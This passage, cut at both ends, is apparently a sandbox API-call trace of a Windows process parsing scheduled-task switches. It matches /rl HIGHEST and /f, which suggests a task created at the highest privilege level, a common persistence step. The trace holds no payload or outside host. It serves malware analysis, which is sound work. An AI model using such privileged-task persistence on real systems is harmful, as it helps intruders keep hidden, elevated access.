_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.859] lstrlenW (lpString="|create|") returned 8 [0109.859] lstrlenW (lpString="|rl|") returned 4 [0109.859] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0109.859] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.859] lstrlenW (lpString="?") returned 1 [0109.859] lstrlenW (lpString="?") returned 1 [0109.859] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] lstrlenW (lpString="rl") returned 2 [0109.859] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.859] lstrlenW (lpString="|?|") returned 3 [0109.859] lstrlenW (lpString="|rl|") returned 4 [0109.859] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.859] lstrlenW (lpString="s") returned 1 [0109.859] lstrlenW (lpString="s") returned 1 [0109.859] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] lstrlenW (lpString="rl") returned 2 [0109.859] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|s|") returned 3 [0109.859] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.860] lstrlenW (lpString="|s|") returned 3 [0109.860] lstrlenW (lpString="|rl|") returned 4 [0109.860] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.860] lstrlenW (lpString="u") returned 1 [0109.860] lstrlenW (lpString="u") returned 1 [0109.860] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] lstrlenW (lpString="rl") returned 2 [0109.860] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.860] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.860] lstrlenW (lpString="|u|") returned 3 [0109.860] lstrlenW (lpString="|rl|") returned 4 [0109.860] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.860] lstrlenW (lpString="p") returned 1 [0109.860] lstrlenW (lpString="p") returned 1 [0109.860] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] lstrlenW (lpString="rl") returned 2 [0109.860] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.860] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.860] lstrlenW (lpString="|p|") returned 3 [0109.860] lstrlenW (lpString="|rl|") returned 4 [0109.860] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.860] lstrlenW (lpString="ru") returned 2 [0109.860] lstrlenW (lpString="ru") returned 2 [0109.860] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] lstrlenW (lpString="rl") returned 2 [0109.860] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.860] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.861] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.861] lstrlenW (lpString="|ru|") returned 4 [0109.861] lstrlenW (lpString="|rl|") returned 4 [0109.861] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0109.861] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.861] lstrlenW (lpString="rp") returned 2 [0109.861] lstrlenW (lpString="rp") returned 2 [0109.861] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.861] lstrlenW (lpString="rl") returned 2 [0109.861] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.861] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.861] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.861] lstrlenW (lpString="|rp|") returned 4 [0109.861] lstrlenW (lpString="|rl|") returned 4 [0109.861] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0109.861] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.861] lstrlenW (lpString="sc") returned 2 [0109.861] lstrlenW (lpString="sc") returned 2 [0109.861] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.861] lstrlenW (lpString="rl") returned 2 [0109.861] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.861] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.861] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.861] lstrlenW (lpString="|sc|") returned 4 [0109.861] lstrlenW (lpString="|rl|") returned 4 [0109.861] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0109.861] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.862] lstrlenW (lpString="mo") returned 2 [0109.862] lstrlenW (lpString="mo") returned 2 [0109.862] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] lstrlenW (lpString="rl") returned 2 [0109.862] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.862] lstrlenW (lpString="|mo|") returned 4 [0109.862] lstrlenW (lpString="|rl|") returned 4 [0109.862] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0109.862] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.862] lstrlenW (lpString="d") returned 1 [0109.862] lstrlenW (lpString="d") returned 1 [0109.862] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|d|") returned 3 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.862] lstrlenW (lpString="|d|") returned 3 [0109.862] lstrlenW (lpString="|rl|") returned 4 [0109.862] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.862] lstrlenW (lpString="m") returned 1 [0109.862] lstrlenW (lpString="m") returned 1 [0109.862] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|m|") returned 3 [0109.862] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.862] lstrlenW (lpString="|m|") returned 3 [0109.863] lstrlenW (lpString="|rl|") returned 4 [0109.863] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.863] lstrlenW (lpString="i") returned 1 [0109.863] lstrlenW (lpString="i") returned 1 [0109.863] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|i|") returned 3 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.863] lstrlenW (lpString="|i|") returned 3 [0109.863] lstrlenW (lpString="|rl|") returned 4 [0109.863] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.863] lstrlenW (lpString="tn") returned 2 [0109.863] lstrlenW (lpString="tn") returned 2 [0109.863] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.863] lstrlenW (lpString="|tn|") returned 4 [0109.863] lstrlenW (lpString="|rl|") returned 4 [0109.863] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0109.863] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.863] lstrlenW (lpString="tr") returned 2 [0109.863] lstrlenW (lpString="tr") returned 2 [0109.863] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.863] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.863] lstrlenW (lpString="|tr|") returned 4 [0109.863] lstrlenW (lpString="|rl|") returned 4 [0109.863] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0109.864] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.864] lstrlenW (lpString="st") returned 2 [0109.864] lstrlenW (lpString="st") returned 2 [0109.864] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|st|") returned 4 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.864] lstrlenW (lpString="|st|") returned 4 [0109.864] lstrlenW (lpString="|rl|") returned 4 [0109.864] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0109.864] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.864] lstrlenW (lpString="sd") returned 2 [0109.864] lstrlenW (lpString="sd") returned 2 [0109.864] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sd|") returned 4 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.864] lstrlenW (lpString="|sd|") returned 4 [0109.864] lstrlenW (lpString="|rl|") returned 4 [0109.864] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0109.864] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.864] lstrlenW (lpString="ed") returned 2 [0109.864] lstrlenW (lpString="ed") returned 2 [0109.864] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ed|") returned 4 [0109.864] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.864] lstrlenW (lpString="|ed|") returned 4 [0109.864] lstrlenW (lpString="|rl|") returned 4 [0109.864] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0109.865] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.865] lstrlenW (lpString="it") returned 2 [0109.865] lstrlenW (lpString="it") returned 2 [0109.865] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|it|") returned 4 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.865] lstrlenW (lpString="|it|") returned 4 [0109.865] lstrlenW (lpString="|rl|") returned 4 [0109.865] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0109.865] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.865] lstrlenW (lpString="et") returned 2 [0109.865] lstrlenW (lpString="et") returned 2 [0109.865] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|et|") returned 4 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.865] lstrlenW (lpString="|et|") returned 4 [0109.865] lstrlenW (lpString="|rl|") returned 4 [0109.865] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0109.865] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.865] lstrlenW (lpString="k") returned 1 [0109.865] lstrlenW (lpString="k") returned 1 [0109.865] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|k|") returned 3 [0109.865] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.865] lstrlenW (lpString="|k|") returned 3 [0109.865] lstrlenW (lpString="|rl|") returned 4 [0109.865] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.865] lstrlenW (lpString="du") returned 2 [0109.865] lstrlenW (lpString="du") returned 2 [0109.866] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|du|") returned 4 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.866] lstrlenW (lpString="|du|") returned 4 [0109.866] lstrlenW (lpString="|rl|") returned 4 [0109.866] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0109.866] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.866] lstrlenW (lpString="ri") returned 2 [0109.866] lstrlenW (lpString="ri") returned 2 [0109.866] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ri|") returned 4 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.866] lstrlenW (lpString="|ri|") returned 4 [0109.866] lstrlenW (lpString="|rl|") returned 4 [0109.866] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0109.866] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.866] lstrlenW (lpString="z") returned 1 [0109.866] lstrlenW (lpString="z") returned 1 [0109.866] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|z|") returned 3 [0109.866] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.866] lstrlenW (lpString="|z|") returned 3 [0109.866] lstrlenW (lpString="|rl|") returned 4 [0109.866] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.866] lstrlenW (lpString="f") returned 1 [0109.866] lstrlenW (lpString="f") returned 1 [0109.866] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.867] lstrlenW (lpString="|f|") returned 3 [0109.867] lstrlenW (lpString="|rl|") returned 4 [0109.867] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.867] lstrlenW (lpString="v1") returned 2 [0109.867] lstrlenW (lpString="v1") returned 2 [0109.867] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|v1|") returned 4 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.867] lstrlenW (lpString="|v1|") returned 4 [0109.867] lstrlenW (lpString="|rl|") returned 4 [0109.867] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0109.867] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.867] lstrlenW (lpString="xml") returned 3 [0109.867] lstrlenW (lpString="xml") returned 3 [0109.867] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|xml|") returned 5 [0109.867] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.867] lstrlenW (lpString="|xml|") returned 5 [0109.867] lstrlenW (lpString="|rl|") returned 4 [0109.867] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0109.867] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.867] lstrlenW (lpString="ec") returned 2 [0109.867] lstrlenW (lpString="ec") returned 2 [0109.867] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.868] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.868] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ec|") returned 4 [0109.868] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.868] lstrlenW (lpString="|ec|") returned 4 [0109.868] lstrlenW (lpString="|rl|") returned 4 [0109.868] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] lstrlenW (lpString="rl") returned 2 [0109.868] lstrlenW (lpString="rl") returned 2 [0109.868] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.868] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.868] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.868] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rl|") returned 4 [0109.868] lstrlenW (lpString="|rl|") returned 4 [0109.868] lstrlenW (lpString="|rl|") returned 4 [0109.868] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] lstrlenW (lpString="HIGHEST") returned 7 [0109.868] lstrlenW (lpString="-/") returned 2 [0109.868] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] lstrlenW (lpString="HIGHEST") returned 7 [0109.868] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.868] _memicmp (_Buf1=0x1ed3df5abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.868] lstrlenW (lpString="HIGHEST") returned 7 [0109.868] lstrlenW (lpString="HIGHEST") returned 7 [0109.868] lstrlenW (lpString=" \x09") returned 2 [0109.868] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0109.869] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0109.869] GetLastError () returned 0x0 [0109.869] lstrlenW (lpString="HIGHEST") returned 7 [0109.869] lstrlenW (lpString="HIGHEST") returned 7 [0109.869] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.869] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.869] lstrlenW (lpString="/f") returned 2 [0109.869] lstrlenW (lpString="-/") returned 2 [0109.869] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.869] lstrlenW (lpString="create") returned 6 [0109.869] lstrlenW (lpString="create") returned 6 [0109.869] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.869] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.869] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.869] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.869] lstrlenW (lpString="|create|") returned 8 [0109.869] lstrlenW (lpString="|f|") returned 3 [0109.869] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0109.869] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.869] lstrlenW (lpString="?") returned 1 [0109.869] lstrlenW (lpString="?") returned 1 [0109.869] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.869] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.869] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.870] lstrlenW (lpString="|?|") returned 3 [0109.870] lstrlenW (lpString="|f|") returned 3 [0109.870] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0109.870] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.870] lstrlenW (lpString="s") returned 1 [0109.870] lstrlenW (lpString="s") returned 1 [0109.870] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: 